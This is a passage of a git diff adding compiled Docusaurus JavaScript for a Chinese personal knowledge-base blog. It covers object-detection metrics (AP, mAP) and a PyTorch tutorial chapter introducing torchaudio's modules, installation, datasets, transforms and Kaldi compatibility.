$\\geq$0.7\u65f6\u5224\u5b9a\u4e3a\u6b63\u6837\u672c\uff0c\u5176\u4f59\u60c5\u51b5\u5224\u5b9a\u4e3a\u8d1f\u6837\u672c\u3002"}),"\n",(0,l.jsx)(e.h2,{id:"ap",children:"AP"}),"\n",(0,l.jsx)(e.p,{children:"\u7ed3\u5408\u6211\u6700\u8fd1\u505a\u7684\u5b9e\u9a8c\u7ed3\u5408\u7406\u89e3\u4e0b\uff0cAP\u4e8b\u5b9e\u4e0a\u662fPR\u66f2\u7ebf\u6240\u5305\u542b\u7684\u9762\u79ef\uff0c\u5f53\u6211\u4eec\u53d6\u4e0d\u540c\u7684\u7f6e\u4fe1\u5ea6\uff0c\u53ef\u4ee5\u83b7\u5f97\u4e0d\u540c\u7684P\u548cRecall\uff0cPR\u66f2\u7ebf\u4e0b\u9762\u6240\u5305\u542b\u7684\u9762\u79ef\u5c31\u662f\u6a21\u578b\u68c0\u6d4b\u67d0\u4e2a\u7c7b\u7684AP\u503c\u3002\u6211\u4eec\u4ecd\u7136\u4ee5\u4e0a\u8ff0\u6838\u9178\u68c0\u6d4b\u4e3a\u4f8b\uff0c"}),"\n",(0,l.jsx)(e.h2,{id:"map",children:"mAP"}),"\n",(0,l.jsx)(e.p,{children:"\u6211\u4eec\u719f\u6089\u4e86\u4e0a\u9762\u7684\u57fa\u7840\u6982\u5ff5\uff0c\u5c31\u53ef\u4ee5\u8ba1\u7b97\u6a21\u578b\u7684mAP\u4e86\uff0c\u5168\u79f0mean Average Precision\uff0cmAP\u5219\u662f\u6240\u6709\u7c7b\u7684AP\u503c\u7684\u5e73\u5747\u503c\u3002\u901a\u8fc7\u4e0a\u8ff0\u7684PR\u66f2\u7ebf\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\u5bf9\u5e94\u7684AP\u503c\uff0c\u901a\u8fc7\u4e86\u89e3\uff0c\n(1)\u57282010\u5e74\u4ee5\u524d\uff0cVOC\u7ade\u8d5bAP\u503c\u7684\u5b9a\u4e49\u4e3a\uff1a\u5bf9\u4e8e\u4e00\u6761AP\u66f2\u7ebf\uff0c\u6211\u4eec\u628aRecall\u7684\u503c\u4ece0-1\u5212\u5206\u4e3a11\u5206\uff0c\u5373\uff1a0\u30010.1\u30010.2\u30010.3\u30010.4\u30010.5\u30010.6\u30010.7\u30010.8\u30010.9\u30011.0\uff0c\u7136\u540e\u57fa\u4e8e\u6bcf\u4e2a\u5c0f\u533a\u95f4\u8ba1\u7b97Precision\u7684\u6700\u5927\u503c\uff0c\u7136\u540e\u8ba1\u7b97\u4ed6\u4eec\u7684\u603b\u548c\u6c42\u5e73\u5747\uff0c\u5c31\u662fAP\u503c\uff0c\u88ab\u79f0\u4f5c11-poinst-interpolation.\n(2) 2010\u5e74\u540e\uff0c\u91cd\u65b0\u5b9a\u4e49\u4e3aPR\u66f2\u7ebf\u4e0a\u6240\u6709\u7684Recall\uff0c\u9009\u53d6\u5927\u4e8e\u7b49\u4e8e\u8fd9\u4e9bRecall\u503c\u65f6\u7684\u6700\u5927\u503cPrecision,\u8ba1\u7b97PR\u66f2\u7ebf\u4e0b\u9762\u9762\u79ef\u4f5c\u4e3aAP\u503c.\u88ab\u79f0\u4f5call-poinst-interpolation."}),"\n",(0,l.jsxs)(e.ul,{children:["\n",(0,l.jsx)(e.li,{children:(0,l.jsx)(e.a,{href:"https://zhuanlan.zhihu.com/p/391186508",children:"\u897f\u74dc\u4e66\u7b14\u8bb0"})}),"\n",(0,l.jsx)(e.li,{children:(0,l.jsx)(e.a,{href:"https://book.douban.com/subject/26708119/",children:"\u673a\u5668\u5b66\u4e60 (\u8c46\u74e3)"})}),"\n"]})]})}function o(n={}){const{wrapper:e}={...(0,t.R)(),...n.components};return e?(0,l.jsx)(e,{...n,children:(0,l.jsx)(d,{...n})}):d(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/4e16b6e7.c83b021c.js b/en/assets/js/4e16b6e7.c83b021c.js new file mode 100644 index 0000000..c039fb7 --- /dev/null +++ b/en/assets/js/4e16b6e7.c83b021c.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4051],{3051:(e,i,n)=>{n.r(i),n.d(i,{assets:()=>c,contentTitle:()=>l,default:()=>h,frontMatter:()=>a,metadata:()=>t,toc:()=>d});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.5 \u97f3\u9891 - torchaudio","title":"8.5 \u97f3\u9891 - torchaudio.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/8.5 \u97f3\u9891 - torchaudio.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.5 \u97f3\u9891 - torchaudio","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.5 \u97f3\u9891 - torchaudio","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/8.5 \u97f3\u9891 - torchaudio.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"8.4 \u6587\u672c - torchtext.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext"},"next":{"title":"\u7b2c\u4e5d\u7ae0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/"}}');var o=n(74848),r=n(28453);const a={},l="8.5 \u97f3\u9891 - torchaudio.md",c={},d=[{value:"8.4.1 torchaduio\u7684\u4e3b\u8981\u7ec4\u6210\u90e8\u5206",id:"841-torchaduio\u7684\u4e3b\u8981\u7ec4\u6210\u90e8\u5206",level:2},{value:"8.4.2 torchaduio\u7684\u5b89\u88c5",id:"842-torchaduio\u7684\u5b89\u88c5",level:2},{value:"8.4.3 datasets\u7684\u6784\u5efa",id:"843-datasets\u7684\u6784\u5efa",level:2},{value:"8.4.4 model\u548cpipeline\u7684\u6784\u5efa",id:"844-model\u548cpipeline\u7684\u6784\u5efa",level:2},{value:"8.4.5 transforms\u548cfunctional\u7684\u4f7f\u7528",id:"845-transforms\u548cfunctional\u7684\u4f7f\u7528",level:2},{value:"8.4.6 compliance\u548ckaldi_io\u7684\u4f7f\u7528",id:"846-compliance\u548ckaldi_io\u7684\u4f7f\u7528",level:2},{value:"torchaduio.compliance.kaldi",id:"torchaduiocompliancekaldi",level:3},{value:"torchaduio.kaldi_io",id:"torchaduiokaldi_io",level:3},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2}];function s(e){const i={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(i.header,{children:(0,o.jsx)(i.h1,{id:"85-\u97f3\u9891---torchaudiomd",children:"8.5 \u97f3\u9891 - torchaudio.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,o.jsxs)(i.table,{children:[(0,o.jsx)(i.thead,{children:(0,o.jsxs)(i.tr,{children:[(0,o.jsx)(i.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,o.jsx)(i.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,o.jsx)(i.tbody,{children:(0,o.jsxs)(i.tr,{children:[(0,o.jsx)(i.td,{style:{textAlign:"left"},children:(0,o.jsx)(i.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,o.jsx)(i.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:30"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,o.jsxs)(i.table,{children:[(0,o.jsx)(i.thead,{children:(0,o.jsxs)(i.tr,{children:[(0,o.jsx)(i.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,o.jsx)(i.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,o.jsx)(i.tbody,{children:(0,o.jsxs)(i.tr,{children:[(0,o.jsx)(i.td,{style:{textAlign:"left"},children:(0,o.jsx)(i.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,o.jsx)(i.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,o.jsx)(i.h1,{id:"85-torchaudio\u7b80\u4ecb",children:"8.5 torchaudio\u7b80\u4ecb"}),"\n",(0,o.jsx)(i.p,{children:"\u672c\u8282\u6211\u4eec\u6765\u4ecb\u7ecdPyTorch\u5b98\u65b9\u7528\u4e8e\u8bed\u97f3\u5904\u7406\u7684\u5de5\u5177\u5305torchaduio\u3002\u8bed\u97f3\u7684\u5904\u7406\u4e5f\u662f\u6df1\u5ea6\u5b66\u4e60\u7684\u4e00\u5927\u5e94\u7528\u573a\u666f\uff0c\u5305\u62ec\u8bf4\u8bdd\u4eba\u8bc6\u522b(Speaker Identification)\uff0c\u8bf4\u8bdd\u4eba\u5206\u79bb(Speaker Diarization)\uff0c\u97f3\u7d20\u8bc6\u522b(Phoneme Recognition)\uff0c\u8bed\u97f3\u8bc6\u522b(Automatic Speech Recognition)\uff0c\u8bed\u97f3\u5206\u79bb(Speech Separation)\uff0c\u6587\u672c\u8f6c\u8bed\u97f3(TTS)\u7b49\u4efb\u52a1\u3002"}),"\n",(0,o.jsx)(i.p,{children:"CV\u6709torchvision\uff0cNLP\u6709torchtext\uff0c\u4eba\u4eec\u5e0c\u671b\u8bed\u97f3\u9886\u57df\u4e2d\u4e5f\u80fd\u6709\u4e00\u4e2a\u5de5\u5177\u5305\u3002\u800c\u8bed\u97f3\u7684\u5904\u7406\u5de5\u5177\u5305\u5c31\u662ftorchaudio\u3002\u7531\u4e8e\u8bed\u97f3\u4efb\u52a1\u672c\u8eab\u7684\u7279\u6027\uff0c\u5bfc\u81f4\u5176\u4e0eNLP\u548cCV\u5728\u6570\u636e\u5904\u7406\u3001\u6a21\u578b\u6784\u5efa\u3001\u6a21\u578b\u9a8c\u8bc1\u6709\u8bb8\u591a\u4e0d\u540c\uff0c\u56e0\u6b64\u8bed\u97f3\u7684\u5de5\u5177\u5305torchaudio\u548ctorchvision\u7b49CV\u76f8\u5173\u5de5\u5177\u5305\u4e5f\u6709\u4e00\u4e9b\u529f\u80fd\u4e0a\u7684\u5dee\u5f02\u3002"}),"\n",(0,o.jsx)(i.p,{children:"\u901a\u8fc7\u672c\u7ae0\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,o.jsxs)(i.ul,{children:["\n",(0,o.jsx)(i.li,{children:"\u8bed\u97f3\u6570\u636e\u7684I/O"}),"\n",(0,o.jsx)(i.li,{children:"\u8bed\u97f3\u6570\u636e\u7684\u9884\u5904\u7406"}),"\n",(0,o.jsx)(i.li,{children:"\u8bed\u97f3\u9886\u57df\u7684\u6570\u636e\u96c6"}),"\n",(0,o.jsx)(i.li,{children:"\u8bed\u97f3\u9886\u57df\u7684\u6a21\u578b"}),"\n"]}),"\n",(0,o.jsx)(i.h2,{id:"841-torchaduio\u7684\u4e3b\u8981\u7ec4\u6210\u90e8\u5206",children:"8.4.1 torchaduio\u7684\u4e3b\u8981\u7ec4\u6210\u90e8\u5206"}),"\n",(0,o.jsx)(i.p,{children:"torchaduio\u4e3b\u8981\u5305\u62ec\u4ee5\u4e0b\u51e0\u4e2a\u90e8\u5206\uff1a"}),"\n",(0,o.jsxs)(i.ul,{children:["\n",(0,o.jsx)(i.li,{children:"torchaudio.io\uff1a\u6709\u5173\u97f3\u9891\u7684I/O"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.backend\uff1a\u63d0\u4f9b\u4e86\u97f3\u9891\u5904\u7406\u7684\u540e\u7aef\uff0c\u5305\u62ec\uff1asox\uff0csoundfile\u7b49"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.functional\uff1a\u5305\u542b\u4e86\u5e38\u7528\u7684\u8bed\u97f3\u6570\u636e\u5904\u7406\u65b9\u6cd5\uff0c\u5982\uff1aspectrogram\uff0ccreate_fb_matrix\u7b49"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.transforms\uff1a\u5305\u542b\u4e86\u5e38\u7528\u7684\u8bed\u97f3\u6570\u636e\u9884\u5904\u7406\u65b9\u6cd5\uff0c\u5982\uff1aMFCC\uff0cMelScale\uff0cAmplitudeToDB\u7b49"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.datasets\uff1a\u5305\u542b\u4e86\u5e38\u7528\u7684\u8bed\u97f3\u6570\u636e\u96c6\uff0c\u5982\uff1aVCTK\uff0cLibriSpeech\uff0cyesno\u7b49"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.models\uff1a\u5305\u542b\u4e86\u5e38\u7528\u7684\u8bed\u97f3\u6a21\u578b\uff0c\u5982\uff1aWav2Letter\uff0cDeepSpeech\u7b49"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.models.decoder\uff1a\u5305\u542b\u4e86\u5e38\u7528\u7684\u8bed\u97f3\u89e3\u7801\u5668\uff0c\u5982\uff1aGreedyDecoder\uff0cBeamSearchDecoder\u7b49"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.pipelines\uff1a\u5305\u542b\u4e86\u5e38\u7528\u7684\u8bed\u97f3\u5904\u7406\u6d41\u6c34\u7ebf\uff0c\u5982\uff1aSpeechRecognitionPipeline\uff0cSpeakerRecognitionPipeline\u7b49"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.sox_effects\uff1a\u5305\u542b\u4e86\u5e38\u7528\u7684\u8bed\u97f3\u5904\u7406\u65b9\u6cd5\uff0c\u5982\uff1aapply_effects_tensor\uff0capply_effects_file\u7b49"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.compliance.kaldi\uff1a\u5305\u542b\u4e86\u4e0eKaldi\u5de5\u5177\u517c\u5bb9\u7684\u65b9\u6cd5\uff0c\u5982\uff1aload_kaldi_fst\uff0cload_kaldi_ark\u7b49"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.kalid_io\uff1a\u5305\u542b\u4e86\u4e0eKaldi\u5de5\u5177\u517c\u5bb9\u7684\u65b9\u6cd5\uff0c\u5982\uff1aread_vec_flt_scp\uff0cread_vec_int_scp\u7b49"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.utils\uff1a\u5305\u542b\u4e86\u5e38\u7528\u7684\u8bed\u97f3\u5de5\u5177\u65b9\u6cd5\uff0c\u5982\uff1aget_audio_backend\uff0cset_audio_backend\u7b49"}),"\n"]}),"\n",(0,o.jsx)(i.h2,{id:"842-torchaduio\u7684\u5b89\u88c5",children:"8.4.2 torchaduio\u7684\u5b89\u88c5"}),"\n",(0,o.jsx)(i.p,{children:"\u4e00\u822c\u5728\u5b89\u88c5torch\u7684\u540c\u65f6\uff0c\u4e5f\u4f1a\u5b89\u88c5torchaudio\u3002\u5047\u5982\u6211\u4eec\u7684\u73af\u5883\u4e2d\u6ca1\u6709torchaudio\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528pip\u6216\u8005conda\u53bb\u5b89\u88c5\u5b83\u3002\u53ea\u9700\u8981\u6267\u884c\u4ee5\u4e0b\u547d\u4ee4\u5373\u53ef\uff1a"}),"\n",(0,o.jsx)(i.pre,{children:(0,o.jsx)(i.code,{className:"language-shell",children:"pip install torchaudio # conda install torchaudio\n"})}),"\n",(0,o.jsxs)(i.p,{children:["\u5728\u5b89\u88c5\u7684\u65f6\u5019\uff0c\u6211\u4eec\u4e00\u5b9a\u8981\u6839\u636e\u81ea\u5df1\u7684PyTorch\u7248\u672c\u548cPython\u7248\u672c\u9009\u62e9\u5bf9\u5e94\u7684torchaudio\u7684\u7248\u672c\uff0c\u5177\u4f53\u6211\u4eec\u53ef\u4ee5\u67e5\u770b",(0,o.jsx)(i.a,{href:"https://pytorch.org/audio/main/installation.html#compatibility-matrix",children:"torchaudio Compatibility Matrix"})]}),"\n",(0,o.jsx)(i.h2,{id:"843-datasets\u7684\u6784\u5efa",children:"8.4.3 datasets\u7684\u6784\u5efa"}),"\n",(0,o.jsx)(i.p,{children:"torchaudio\u4e2d\u5bf9\u4e8e\u4e00\u4e9b\u516c\u5171\u6570\u636e\u96c6\uff0c\u6211\u4eec\u53ef\u4ee5\u4e3b\u8981\u901a\u8fc7torchaudio.datasets\u6765\u5b9e\u73b0\u3002\u5bf9\u4e8e\u79c1\u6709\u6570\u636e\u96c6\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u901a\u8fc7\u7ee7\u627ftorch.utils.data.Dataset\u6765\u6784\u5efa\u81ea\u5df1\u7684\u6570\u636e\u96c6\u3002\u6570\u636e\u96c6\u7684\u8bfb\u53d6\u548c\u5904\u7406\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7torch.utils.data.DataLoader\u6765\u5b9e\u73b0\u3002"}),"\n",(0,o.jsx)(i.pre,{children:(0,o.jsx)(i.code,{className:"language-python",children:"import torchaudio\nimport torch\n\n# \u516c\u5171\u6570\u636e\u96c6\u7684\u6784\u5efa\nyesno_data = torchaudio.datasets.YESNO('.', download=True)\ndata_loader = torch.utils.data.DataLoader(\n yesno_data,\n batch_size=1,\n shuffle=True,\n num_workers=4)\n"})}),"\n",(0,o.jsx)(i.p,{children:"torchaudio\u63d0\u4f9b\u4e86\u8bb8\u591a\u5e38\u7528\u7684\u8bed\u97f3\u6570\u636e\u96c6\uff0c\u5305\u62ecCMUARCTIC\uff0cCMUDict\uff0cCOMMONVOICE\uff0cDR_VCTK\uff0cFluentSpeechCommands\uff0cGTZAN\uff0cIEMOCAP\uff0cLIBRISPEECH\uff0cLIBRITTS\uff0cLJSPEECH\uff0cLibriLightLimited\uff0cLibriMix\uff0cMUSDB_HQ\uff0cQUESST14\uff0cSPEECHCOMMANDS\uff0cSnips\uff0cTEDLIUM\uff0cVCTK_092\uff0cVoxCeleb1Identification\uff0cVoxCeleb1Verification\uff0cYESNO\u7b49\u3002\u5177\u4f53\u7684\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4ee5\u4e0b\u547d\u4ee4\u6765\u67e5\u770b\uff1a"}),"\n",(0,o.jsx)(i.pre,{children:(0,o.jsx)(i.code,{className:"language-python",children:"import torchaudio\ndir(torchaudio.datasets)\n"})}),"\n",(0,o.jsx)(i.pre,{children:(0,o.jsx)(i.code,{className:"language-shell",children:"'CMUARCTIC','CMUDict','COMMONVOICE','DR_VCTK','FluentSpeechCommands',\n'GTZAN','IEMOCAP','LIBRISPEECH','LIBRITTS','LJSPEECH','LibriLightLimited',\n'LibriMix','MUSDB_HQ','QUESST14','SPEECHCOMMANDS','Snips','TEDLIUM',\n'VCTK_092','VoxCeleb1Identification','VoxCeleb1Verification','YESNO']\n"})}),"\n",(0,o.jsx)(i.h2,{id:"844-model\u548cpipeline\u7684\u6784\u5efa",children:"8.4.4 model\u548cpipeline\u7684\u6784\u5efa"}),"\n",(0,o.jsxs)(i.p,{children:["torchaudio.models\u5305\u542b\u4e86\u5e38\u89c1\u8bed\u97f3\u4efb\u52a1\u7684\u6a21\u578b\u7684\u5b9a\u4e49\uff0c\u5305\u62ec\uff1aWav2Letter\uff0cDeepSpeech\uff0cHuBERTPretrainModel\u7b49\u3002torchaudio.pipelines\u5219\u662f\u5c06\u9884\u8bad\u7ec3\u6a21\u578b\u548c\u5176\u5bf9\u5e94\u7684\u4efb\u52a1\u7ec4\u5408\u5728\u4e00\u8d77\uff0c\u6784\u6210\u4e86\u4e00\u4e2a\u5b8c\u6574\u7684\u8bed\u97f3\u5904\u7406\u6d41\u6c34\u7ebf\u3002torchaudio.pipeline\u76f8\u8f83\u4e8etorchvision\u8fd9\u79cd\u89c6\u89c9\u5e93\u800c\u8a00\uff0c\u662ftorchaudio\u7684\u7cbe\u534e\u90e8\u5206\u3002\u6211\u4eec\u5728\u6b64\u4e5f\u4e0d\u8fdb\u884c\u8fc7\u591a\u7684\u9610\u8ff0\uff0c\u5bf9\u4e8e\u8fdb\u4e00\u6b65\u7684\u5b66\u4e60\uff0c\u6211\u4eec\u53ef\u4ee5\u53c2\u8003\u5b98\u65b9\u7ed9\u51fa\u7684",(0,o.jsx)(i.a,{href:"https://pytorch.org/audio/stable/tutorials/speech_recognition_pipeline_tutorial.html",children:"Pipeline Tutorials"}),"\u548c",(0,o.jsx)(i.a,{href:"https://pytorch.org/audio/stable/pipelines.html",children:"torchaudio.pipelines docs"}),"\u3002"]}),"\n",(0,o.jsx)(i.h2,{id:"845-transforms\u548cfunctional\u7684\u4f7f\u7528",children:"8.4.5 transforms\u548cfunctional\u7684\u4f7f\u7528"}),"\n",(0,o.jsxs)(i.p,{children:["torchaudio.transform\u6a21\u5757\u5305\u542b\u5e38\u89c1\u7684\u97f3\u9891\u5904\u7406\u548c\u7279\u5f81\u63d0\u53d6\u3002torchaudio.functional\u5219\u5305\u62ec\u4e86\u4e00\u4e9b\u5e38\u89c1\u7684\u97f3\u9891\u64cd\u4f5c\u7684\u51fd\u6570\u3002\u5173\u4e8etorchaudio.transform\uff0c\u5b98\u65b9\u63d0\u4f9b\u4e86\u4e00\u4e2a\u6d41\u7a0b\u56fe\u4f9b\u6211\u4eec\u53c2\u8003\u5b66\u4e60\uff1a\n",(0,o.jsx)(i.img,{alt:"torchaudio_feature_extaction",src:n(90938).A+"",width:"960",height:"720"}),"\ntorchaudio.transforms\u7ee7\u627f\u4e8etorch.nn.Module\uff0c\u4f46\u662f\u4e0d\u540c\u4e8etorchvision.transforms\uff0ctorchaudio\u6ca1\u6709compose\u65b9\u6cd5\u5c06\u591a\u4e2atransform\u7ec4\u5408\u8d77\u6765\u3002\u56e0\u6b64torchaudio\u6784\u5efatransform pipeline\u7684\u5e38\u89c1\u65b9\u6cd5\u662f\u81ea\u5b9a\u4e49\u6a21\u5757\u7c7b\u6216\u4f7f\u7528torch.nn.Sequential\u5c06\u4ed6\u4eec\u5728\u4e00\u8d77\u3002\u7136\u540e\u5c06\u5176\u79fb\u52a8\u5230\u76ee\u6807\u8bbe\u5907\u548c\u6570\u636e\u7c7b\u578b\u3002\u6211\u4eec\u53ef\u4ee5\u53c2\u8003\u5b98\u65b9\u6240\u7ed9\u51fa\u7684\u4f8b\u5b50\uff1a"]}),"\n",(0,o.jsx)(i.pre,{children:(0,o.jsx)(i.code,{className:"language-python",children:"# Define custom feature extraction pipeline.\n#\n# 1. Resample audio\n# 2. Convert to power spectrogram\n# 3. Apply augmentations\n# 4. Convert to mel-scale\n#\nclass MyPipeline(torch.nn.Module):\n def __init__(\n self,\n input_freq=16000,\n resample_freq=8000,\n n_fft=1024,\n n_mel=256,\n stretch_factor=0.8,\n ):\n super().__init__()\n self.resample = Resample(orig_freq=input_freq, new_freq=resample_freq)\n self.spec = Spectrogram(n_fft=n_fft, power=2)\n self.spec_aug = torch.nn.Sequential(\n TimeStretch(stretch_factor, fixed_rate=True),\n FrequencyMasking(freq_mask_param=80),\n TimeMasking(time_mask_param=80),\n )\n self.mel_scale = MelScale(\n n_mels=n_mel, sample_rate=resample_freq, n_stft=n_fft // 2 + 1)\n\n def forward(self, waveform: torch.Tensor) -> torch.Tensor:\n # Resample the input\n resampled = self.resample(waveform)\n # Convert to power spectrogram\n spec = self.spec(resampled)\n # Apply SpecAugment\n spec = self.spec_aug(spec)\n # Convert to mel-scale\n mel = self.mel_scale(spec)\n return mel\n"})}),"\n",(0,o.jsxs)(i.p,{children:["torchaudio.transform\u7684\u4f7f\u7528\uff0c\u6211\u4eec\u53ef\u4ee5\u53c2\u8003",(0,o.jsx)(i.a,{href:"https://pytorch.org/audio/main/transforms.html",children:"torchaudio.transforms"}),"\u8fdb\u4e00\u6b65\u4e86\u89e3\u3002"]}),"\n",(0,o.jsxs)(i.p,{children:["torchaudio.functional\u652f\u6301\u4e86\u8bb8\u591a\u8bed\u97f3\u7684\u5904\u7406\u65b9\u6cd5\uff0c\u5173\u4e8etorchaudio.functional\u7684\u4f7f\u7528\uff0c\u6211\u4eec\u53ef\u4ee5\u53c2\u8003",(0,o.jsx)(i.a,{href:"https://pytorch.org/audio/main/functional.html",children:"torchaudio.functional"}),"\u8fdb\u4e00\u6b65\u4e86\u89e3\u3002"]}),"\n",(0,o.jsx)(i.h2,{id:"846-compliance\u548ckaldi_io\u7684\u4f7f\u7528",children:"8.4.6 compliance\u548ckaldi_io\u7684\u4f7f\u7528"}),"\n",(0,o.jsx)(i.p,{children:"Kaldi\u662f\u4e00\u4e2a\u7528\u4e8e\u8bed\u97f3\u8bc6\u522b\u7814\u7a76\u7684\u5de5\u5177\u7bb1,\u7531CMU\u5f00\u53d1,\u5f00\u6e90\u514d\u8d39\u3002\u5b83\u5305\u542b\u4e86\u6784\u5efa\u8bed\u97f3\u8bc6\u522b\u7cfb\u7edf\u6240\u9700\u7684\u5168\u90e8\u7ec4\u4ef6,\u662f\u8bed\u97f3\u8bc6\u522b\u9886\u57df\u6700\u6d41\u884c\u548c\u5f71\u54cd\u529b\u6700\u5927\u7684\u5f00\u6e90\u5de5\u5177\u4e4b\u4e00\u3002torchaudio\u4e2d\u63d0\u4f9b\u4e86\u4e00\u4e9b\u4e0eKaldi\u5de5\u5177\u517c\u5bb9\u7684\u65b9\u6cd5\uff0c\u8fd9\u4e9b\u65b9\u6cd5\u5206\u522b\u5c5e\u4e8etorchaduio.compliance.kaldi\uff0ctorchaduio.kaldi_io\u3002"}),"\n",(0,o.jsx)(i.h3,{id:"torchaduiocompliancekaldi",children:"torchaduio.compliance.kaldi"}),"\n",(0,o.jsx)(i.p,{children:"\u5728torchaudio.compliance.kaldi\u4e2d\uff0ctorchaudio\u63d0\u4f9b\u4e86\u4ee5\u4e0b\u4e09\u79cd\u65b9\u6cd5\uff1a"}),"\n",(0,o.jsxs)(i.ul,{children:["\n",(0,o.jsx)(i.li,{children:"torchaudio.compliance.kaldi.spectrogram\uff1a\u4ece\u8bed\u97f3\u4fe1\u53f7\u4e2d\u63d0\u53d6Spectrogram\u7279\u5f81"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.compliance.kaldi.fbank\uff1a\u4ece\u8bed\u97f3\u4fe1\u53f7\u4e2d\u63d0\u53d6FBank\u7279\u5f81"}),"\n",(0,o.jsx)(i.li,{children:"torchaduio.compliance.kaldi.mfcc\uff1a\u4ece\u8bed\u97f3\u4fe1\u53f7\u4e2d\u63d0\u53d6MFCC\u7279\u5f81"}),"\n"]}),"\n",(0,o.jsx)(i.h3,{id:"torchaduiokaldi_io",children:"torchaduio.kaldi_io"}),"\n",(0,o.jsxs)(i.p,{children:["torchaudio.kaldi_io\u662f\u4e00\u4e2atorchaudio\u7684\u5b50\u6a21\u5757,\u7528\u4e8e\u8bfb\u53d6\u548c\u5199\u5165Kaldi\u7684\u6570\u636e\u96c6\u683c\u5f0f\u3002\u5f53\u6211\u4eec\u8981\u4f7f\u7528torchaudio.kaldi_io\u65f6,\u6211\u4eec\u9700\u8981\u5148\u786e\u4fdd",(0,o.jsx)(i.a,{href:"https://github.com/vesis84/kaldi-io-for-python",children:"kalid_io"}),"\u5df2\u7ecf\u5b89\u88c5\u3002"]}),"\n",(0,o.jsx)(i.p,{children:"\u5177\u4f53\u6765\u8bf4\uff0c\u4e3b\u8981\u63a5\u53e3\u5305\u62ec\uff1a"}),"\n",(0,o.jsxs)(i.ul,{children:["\n",(0,o.jsx)(i.li,{children:"torchaudio.kaldi_io.read_vec_int_ark\uff1a\u4eceKaldi\u7684scp\u6587\u4ef6\u4e2d\u8bfb\u53d6float\u7c7b\u578b\u7684\u6570\u636e"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.kaldi_io.read_vec_flt_scp"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.kaldi_io.read_vec_flt_ark"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.kaldi_io.read_mat_scp"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.kaldi_io.read_mat_ark"}),"\n"]}),"\n",(0,o.jsxs)(i.p,{children:["\u5177\u4f53\u7684\u4f7f\u7528\u65b9\u6cd5\uff0c\u6211\u4eec\u53ef\u4ee5\u53c2\u8003",(0,o.jsx)(i.a,{href:"https://pytorch.org/audio/stable/kaldi_io.html",children:"torchaudio.kaldi_io"}),"\u8fdb\u4e00\u6b65\u4e86\u89e3\u3002"]}),"\n",(0,o.jsx)(i.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,o.jsxs)(i.p,{children:["\u672c\u8282\u6211\u4eec\u4e3b\u8981\u4ecb\u7ecd\u4e86torchaudio\u7684\u57fa\u672c\u4f7f\u7528\u65b9\u6cd5\u548c\u5e38\u7528\u7684\u6a21\u5757\uff0c\u